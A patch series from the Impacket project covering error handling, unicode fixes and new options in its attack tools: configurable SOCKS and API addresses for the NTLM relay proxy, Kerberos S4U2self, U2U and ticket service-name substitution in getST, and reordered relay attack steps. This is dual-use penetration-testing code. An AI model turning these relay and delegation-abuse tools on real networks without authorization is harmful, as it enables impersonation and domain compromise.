From 33058eb2fde6976ea62e04bc7d6b629d64d44712 Mon Sep 17 00:00:00 2001 From: Lucas Vater <71081185+rtpt-lucasvater@users.noreply.github.com> Date: Wed, 8 Nov 2023 17:08:28 +0100 Subject: [PATCH 01/49] Handle unknown NTSTATUS in SessionError (#1311) * Handle unknown NTSTATUS in SessionError * Handle unknown NTSTATUS in other places --- impacket/krb5/kerberosv5.py | 10 ++++++++-- impacket/smb.py | 8 +++++++- impacket/smbconnection.py | 11 +++++++---- 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 7821fdf77e..d81af85904 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -712,7 +712,7 @@ def getErrorPacket( self ): return self.packet def getErrorString( self ): - return constants.ERROR_MESSAGES[self.error] + return str(self) def __str__( self ): retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error]) @@ -721,7 +721,13 @@ def __str__( self ): if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value: eData = decoder.decode(self.packet['e-data'], asn1Spec = KERB_ERROR_DATA())[0] nt_error = struct.unpack(' Date: Tue, 14 Nov 2023 16:52:27 -0300 Subject: [PATCH 02/49] Unicode fixes V1 (#1631) * Fixed unicode shares not being found * Fixed unicode SPNs not being decoded appropriately * Fixed spn not being found in getST, fixes #1595 * Fixed unicode issues on login when using ntlmV1 fallback Fixes #1419 --- examples/GetUserSPNs.py | 2 +- impacket/krb5/types.py | 3 ++- impacket/smb.py | 4 +++- impacket/smbserver.py | 7 ++++--- 4 files changed, 10 insertions(+), 6 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 8b0bc17dad..c8584b9814 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -369,7 +369,7 @@ def run(self): lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: - SPNs.append(str(spn)) + SPNs.append(spn.asOctets().decode('utf-8')) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index cf6a48cfd7..001e554175 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -40,6 +40,7 @@ import struct from pyasn1.codec.der import decoder +from six import ensure_binary from . import asn1 from . import constants @@ -151,7 +152,7 @@ def components_to_asn1(self, name): strings = name.setComponentByName('name-string' ).getComponentByName('name-string') for i, c in enumerate(self.components): - strings.setComponentByPosition(i, c) + strings.setComponentByPosition(i, ensure_binary(c)) return name diff --git a/impacket/smb.py b/impacket/smb.py index deed7a32ee..b18153e55e 100644 --- a/impacket/smb.py +++ b/impacket/smb.py @@ -58,6 +58,7 @@ from impacket.structure import Structure from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID from impacket.krb5.gssapi import KRB5_AP_REQ +import six # For signing import hashlib @@ -3501,7 +3502,8 @@ def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlm_fall self.login_extended(user, password, domain, lmhash, nthash, use_ntlmv2 = True) except: # If the target OS is Windows 5.0 or Samba, let's try using NTLMv1 - if ntlm_fallback and ((self.get_server_lanman().find('Windows 2000') != -1) or (self.get_server_lanman().find('Samba') != -1)): + if ntlm_fallback and ((six.ensure_binary(self.get_server_lanman()).find(b'Windows 2000') != -1) or + (six.ensure_binary(self.get_server_lanman()).find(b'Samba') != -1)): self.login_extended(user, password, domain, lmhash, nthash, use_ntlmv2 = False) self.__isNTLMv2 = False else: diff --git a/impacket/smbserver.py b/impacket/smbserver.py index cf806840f9..a09f5ec493 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -42,7 +42,7 @@ import hmac from binascii import unhexlify, hexlify, a2b_hex -from six import PY2, b, text_type +from six import b, ensure_str from six.moves import configparser, socketserver # For signing @@ -234,6 +234,7 @@ def getShares(connId, smbServer): def searchShare(connId, share, smbServer): + share = ensure_str(share) config = smbServer.getServerConfig() if config.has_section(share): return dict(config.items(share)) @@ -3217,10 +3218,10 @@ def smb2Create(connId, smbServer, recvPacket): else: if sys.platform == 'win32': mode |= os.O_BINARY - if str(pathName) in smbServer.getRegisteredNamedPipes(): + if ensure_str(pathName) in smbServer.getRegisteredNamedPipes(): fid = PIPE_FILE_DESCRIPTOR sock = socket.socket() - sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)]) + sock.connect(smbServer.getRegisteredNamedPipes()[ensure_str(pathName)]) else: fid = os.open(pathName, mode) except Exception as e: From 6c9a1aadbfc11e321858a640b596530535b11fd1 Mon Sep 17 00:00:00 2001 From: Erik Geiser <70747329+rtpt-erikgeiser@users.noreply.github.com> Date: Thu, 11 Jan 2024 21:46:39 +0100 Subject: [PATCH 03/49] ntlmrelayx.py: Make SOCKS5 address and port configurable (#1636) * ntlmrelayx.py: Make SOCKS5 address and port configurable * Fix API port --- examples/ntlmrelayx.py | 13 +++-- .../ntlmrelayx/servers/socksserver.py | 58 ++++++++++--------- 2 files changed, 40 insertions(+), 31 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 5377a695e7..e3efbbf818 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -57,10 +57,11 @@ RELAY_SERVERS = [] class MiniShell(cmd.Cmd): - def __init__(self, relayConfig, threads): + def __init__(self, relayConfig, threads, api_address): cmd.Cmd.__init__(self) self.prompt = 'ntlmrelayx> ' + self.api_address = api_address self.tid = None self.relayConfig = relayConfig self.intro = 'Type help for list of commands' @@ -108,7 +109,7 @@ def do_socks(self, line): ''' headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] - url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" + url = "http://{}/ntlmrelayx/api/v1.0/relays".format(self.api_address) try: proxy_handler = ProxyHandler({}) opener = build_opener(proxy_handler) @@ -305,6 +306,9 @@ def stop_servers(threads): 'SMB Server (16 hex bytes long. eg: 1122334455667788)') parser.add_argument('-socks', action='store_true', default=False, help='Launch a SOCKS proxy for the connection relayed') + parser.add_argument('-socks-address', default='127.0.0.1', help='SOCKS5 server address (also used for HTTP API)') + parser.add_argument('-socks-port', default=1080, type=int, help='SOCKS5 server port') + parser.add_argument('-http-api-port', default=9090, type=int, help='SOCKS5 HTTP API port') parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 'setting the proxy host to the one supplied.') parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' @@ -471,8 +475,9 @@ def stop_servers(threads): threads = set() socksServer = None if options.socks is True: + # Start a SOCKS proxy in the background - socksServer = SOCKS() + socksServer = SOCKS(server_address=(options.socks_address, options.socks_port), api_port=options.http_api_port) socksServer.daemon_threads = True socks_thread = Thread(target=socksServer.serve_forever) socks_thread.daemon = True @@ -485,7 +490,7 @@ def stop_servers(threads): logging.info("Servers started, waiting for connections") try: if options.socks: - shell = MiniShell(c, threads) + shell = MiniShell(c, threads, api_address='{}:{}'.format(options.socks_address, options.http_api_port)) shell.cmdloop() else: sys.stdin.read() diff --git a/impacket/examples/ntlmrelayx/servers/socksserver.py b/impacket/examples/ntlmrelayx/servers/socksserver.py index 2fe53989ec..616142e541 100644 --- a/impacket/examples/ntlmrelayx/servers/socksserver.py +++ b/impacket/examples/ntlmrelayx/servers/socksserver.py @@ -243,36 +243,40 @@ def activeConnectionsWatcher(server): LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection() -def webService(server): - from flask import Flask, jsonify - app = Flask(__name__) +def webService(addr, port): + def _webService(server): + from flask import Flask, jsonify - log = logging.getLogger('werkzeug') - log.setLevel(logging.ERROR) + app = Flask(__name__) - @app.route('/') - def index(): - print(server.activeRelays) - return "Relays available: %s!" % (len(server.activeRelays)) + log = logging.getLogger('werkzeug') + log.setLevel(logging.ERROR) - @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET']) - def get_relays(): - relays = [] - for target in server.activeRelays: - for port in server.activeRelays[target]: - for user in server.activeRelays[target][port]: - if user != 'data' and user != 'scheme': - protocol = server.activeRelays[target][port]['scheme'] - isAdmin = server.activeRelays[target][port][user]['isAdmin'] - relays.append([protocol, target, user, isAdmin, str(port)]) - return jsonify(relays) + @app.route('/') + def index(): + print(server.activeRelays) + return "Relays available: %s!" % (len(server.activeRelays)) - @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET']) - def get_info(relay): - pass + @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET']) + def get_relays(): + relays = [] + for target in server.activeRelays: + for port in server.activeRelays[target]: + for user in server.activeRelays[target][port]: + if user != 'data' and user != 'scheme': + protocol = server.activeRelays[target][port]['scheme'] + isAdmin = server.activeRelays[target][port][user]['isAdmin'] + relays.append([protocol, target, user, isAdmin, str(port)]) + return jsonify(relays) - app.run(host='0.0.0.0', port=9090) + @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET']) + def get_info(relay): + pass + + app.run(host=addr, port=port) + + return _webService class SocksRequestHandler(socketserver.BaseRequestHandler): def __init__(self, request, client_address, server): @@ -453,8 +457,8 @@ def handle(self): class SOCKS(socketserver.ThreadingMixIn, socketserver.TCPServer): - def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): - LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] ) + def __init__(self, server_address=('127.0.0.1', 1080), handler_class=SocksRequestHandler, api_port=9090): + LOG.info('SOCKS proxy started. Listening on %s:%d', server_address[0], server_address[1]) self.activeRelays = {} self.socksPlugins = {} @@ -476,7 +480,7 @@ def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestH self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self) # Let's start our RESTful API - self.restAPI = Thread(target=webService, args=(self, )) + self.restAPI = Thread(target=webService(server_address[0], api_port), args=(self, )) self.restAPI.daemon = True self.restAPI.start() From 82267d842c405c2315bff9a9e730c81102c139d2 Mon Sep 17 00:00:00 2001 From: Palkovsky Date: Tue, 16 Jan 2024 04:06:39 +0100 Subject: [PATCH 04/49] mssqlclient: Add `-target-ip` (#1648) * mssqlclient: Enable Kerberos authentication without DNS lookup * Group connection parameters under 'connection' --- examples/mssqlclient.py | 16 +++++++++++++--- impacket/tds.py | 15 +++++++-------- 2 files changed, 20 insertions(+), 11 deletions(-) diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py index f6f49fa815..e7468c4162 100755 --- a/examples/mssqlclient.py +++ b/examples/mssqlclient.py @@ -35,7 +35,6 @@ parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' 'Authentication (default False)') @@ -52,8 +51,16 @@ 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar = "ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') + if len(sys.argv)==1: parser.print_help() @@ -68,7 +75,7 @@ else: logging.getLogger().setLevel(logging.INFO) - domain, username, password, address = parse_target(options.target) + domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' @@ -77,10 +84,13 @@ from getpass import getpass password = getpass("Password:") + if options.target_ip is None: + options.target_ip = remoteName + if options.aesKey is not None: options.k = True - ms_sql = tds.MSSQL(address, int(options.port)) + ms_sql = tds.MSSQL(options.target_ip, int(options.port), remoteName) ms_sql.connect() try: if options.k is True: diff --git a/impacket/tds.py b/impacket/tds.py index c0447d3350..2c71b97e50 100644 --- a/impacket/tds.py +++ b/impacket/tds.py @@ -459,10 +459,11 @@ class TDS_COLMETADATA(Structure): ) class MSSQL: - def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): + def __init__(self, address, port=1433, remoteName = '', rowsPrinter=DummyPrint()): #self.packetSize = 32764 self.packetSize = 32763 self.server = address + self.remoteName = remoteName self.port = port self.socket = 0 self.replies = {} @@ -650,7 +651,6 @@ def recvTDS(self, packetSize = None): return packet def kerberosLogin(self, database, username, password='', domain='', hashes=None, aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): - if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) @@ -663,7 +663,6 @@ def kerberosLogin(self, database, username, password='', domain='', hashes=None, # Test this! if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: LOG.info("Encryption required, switching to TLS") - # Switching to TLS now ctx = SSL.Context(SSL.TLS_METHOD) ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8')) @@ -690,7 +689,7 @@ def kerberosLogin(self, database, username, password='', domain='', hashes=None, login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') - login['ServerName'] = self.server.encode('utf-16le') + login['ServerName'] = self.remoteName.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) login['PacketSize'] = self.packetSize @@ -710,7 +709,7 @@ def kerberosLogin(self, database, username, password='', domain='', hashes=None, import datetime if useCache: - domain, username, TGT, TGS = CCache.parseFile(domain, username, 'MSSQLSvc/%s:%d' % (self.server, self.port)) + domain, username, TGT, TGS = CCache.parseFile(domain, username, 'MSSQLSvc/%s:%d' % (self.remoteName, self.port)) if TGS is None: # search for the port's instance name instead (instance name based SPN) @@ -725,7 +724,7 @@ def kerberosLogin(self, database, username, password='', domain='', hashes=None, pass if instanceName: - domain, username, TGT, TGS = CCache.parseFile(domain, username, 'MSSQLSvc/%s.%s:%s' % (self.server.split('.')[0], domain, instanceName)) + domain, username, TGT, TGS = CCache.parseFile(domain, username, 'MSSQLSvc/%s.%s:%s' % (self.remoteName.split('.')[0], domain, instanceName)) # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) @@ -766,7 +765,7 @@ def kerberosLogin(self, database, username, password='', domain='', hashes=None, # FQDN is the fully qualified domain name of the server. # port is the TCP port number. # instancename is the name of the SQL Server instance. - serverName = Principal('MSSQLSvc/%s.%s:%d' % (self.server.split('.')[0], domain, self.port), type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal('MSSQLSvc/%s.%s:%d' % (self.remoteName.split('.')[0], domain, self.port), type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) except KerberosError as e: @@ -899,7 +898,7 @@ def login(self, database, username, password='', domain='', hashes = None, useWi login['HostName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le') - login['ServerName'] = self.server.encode('utf-16le') + login['ServerName'] = self.remoteName.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) login['PacketSize'] = self.packetSize From 97007e841d1db25b884d2daf67e25e1a17f6095a Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Tue, 30 Jan 2024 15:47:45 -0300 Subject: [PATCH 05/49] implemented S4U2self only and u2u (#1691) --- examples/getST.py | 185 +++++++++++++++++++++++++++++++++------------- 1 file changed, 132 insertions(+), 53 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 1c59306326..30146fc1b5 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,7 +1,7 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -31,9 +31,15 @@ # # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. # -# Author: +# Authors: # Alberto Solino (@agsolino) -# +# Charlie Bromberg (@_nwodtuhs) +# Martin Gallo (@MartinGalloAr) +# Dirk-jan Mollema (@_dirkjan) +# Elad Shamir (@elad_shamir) +# @snovvcrash +# Leandro (@0xdeaddood) +# Jake Karnes (@jakekarnes42) from __future__ import division from __future__ import print_function @@ -53,11 +59,11 @@ from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants +from impacket.krb5 import constants, types, crypto, ccache from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.ccache import CCache, Credential +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket @@ -78,14 +84,82 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__options.altservice is not None: + decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0] + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice + if len(service_class) == 0: + current_service = "%s@%s" % (service_hostname, service_realm) + else: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + self.__saveFileName += "@" + new_service.replace("/", "_") + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + ticket = encoder.encode(decodedST) + ccache.fromTGS(ticket, sessionKey, sessionKey) + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + for creds in ccache.credentials: + creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + else: + ccache.fromTGS(ticket, sessionKey, sessionKey) + creds = ccache.credentials[0] + service_realm = creds['server'].realm['data'] + service_class = '' + if len(creds['server'].components) == 2: + service_class = creds['server'].components[0]['data'] + service_hostname = creds['server'].components[1]['data'] + else: + service_hostname = creds['server'].components[0]['data'] + if len(service_class) == 0: + service = "%s@%s" % (service_hostname, service_realm) + else: + service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + self.__saveFileName += "@" + service.replace("/", "_") + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -274,26 +348,9 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey ) message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') + logging.info('Requesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] @@ -398,9 +455,19 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) + + if self.__options.u2u: + opts.append(constants.KDCOptions.renewable_ok.value) + opts.append(constants.KDCOptions.enc_tkt_in_skey.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + logging.info("When doing S4U2self only, argument -spn is ignored") + if self.__options.u2u: + serverName = Principal(self.__user, self.__domain, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -412,17 +479,23 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) seq_set_iter(reqBody, 'etype', (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + if self.__options.u2u: + seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),)) + if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) - logging.info('\tRequesting S4U2self') + logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else '')) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if self.__no_s4u2proxy: + return r, None, sessionKey, None + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) @@ -595,26 +668,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) ) message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') + logging.info('Requesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def run(self): tgt = None @@ -635,6 +691,7 @@ def run(self): unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + logging.debug("TGT session key: %s" % hexlify(sessionKey.contents).decode()) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: @@ -673,8 +730,9 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' @@ -682,6 +740,8 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -697,7 +757,7 @@ def run(self): group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') + 'omitted it use the domain part (FQDN) specified in the target parameter') if len(sys.argv) == 1: parser.print_help() @@ -708,6 +768,25 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + + if options.no_s4u2proxy and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2self") + + if options.no_s4u2proxy and options.altservice is not None: + if '/' not in options.altservice: + parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + + if options.additional_ticket is not None and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2proxy") + + if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None): + parser.error("-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket") + # implementing plain u2u would need to modify the getKerberosTGS() function and add a switch + # in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN + # the request would also need to embed an additional-ticket (the target user's TGT) + # Init the example's logger theme logger.init(options.ts) From 63438ae7aad6eeb35035a0e8cb0f7e01d6b82372 Mon Sep 17 00:00:00 2001 From: gjhami Date: Thu, 8 Feb 2024 10:02:03 -0500 Subject: [PATCH 06/49] Update ldapattack.py (#1690) Reorder attack components so a computer account is created before the delegate attack is attempted. --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 7b9717b8c1..74ceea74b1 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -1105,11 +1105,6 @@ def run(self): if dns_name_ok and dns_ipaddr_ok: self.addDnsRecord(name, ipaddr) - # Perform the Delegate attack if it is enabled and we relayed a computer account - if self.config.delegateaccess and self.username[-1] == '$': - self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) - return - # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer is not None: @@ -1124,6 +1119,11 @@ def run(self): self.addComputer(computerscontainer, domainDumper) return + # Perform the Delegate attack if it is enabled and we relayed a computer account + if self.config.delegateaccess and self.username[-1] == '$': + self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) + return + # Perform the Shadow Credentials attack if it is enabled if self.config.IsShadowCredentialsAttack: 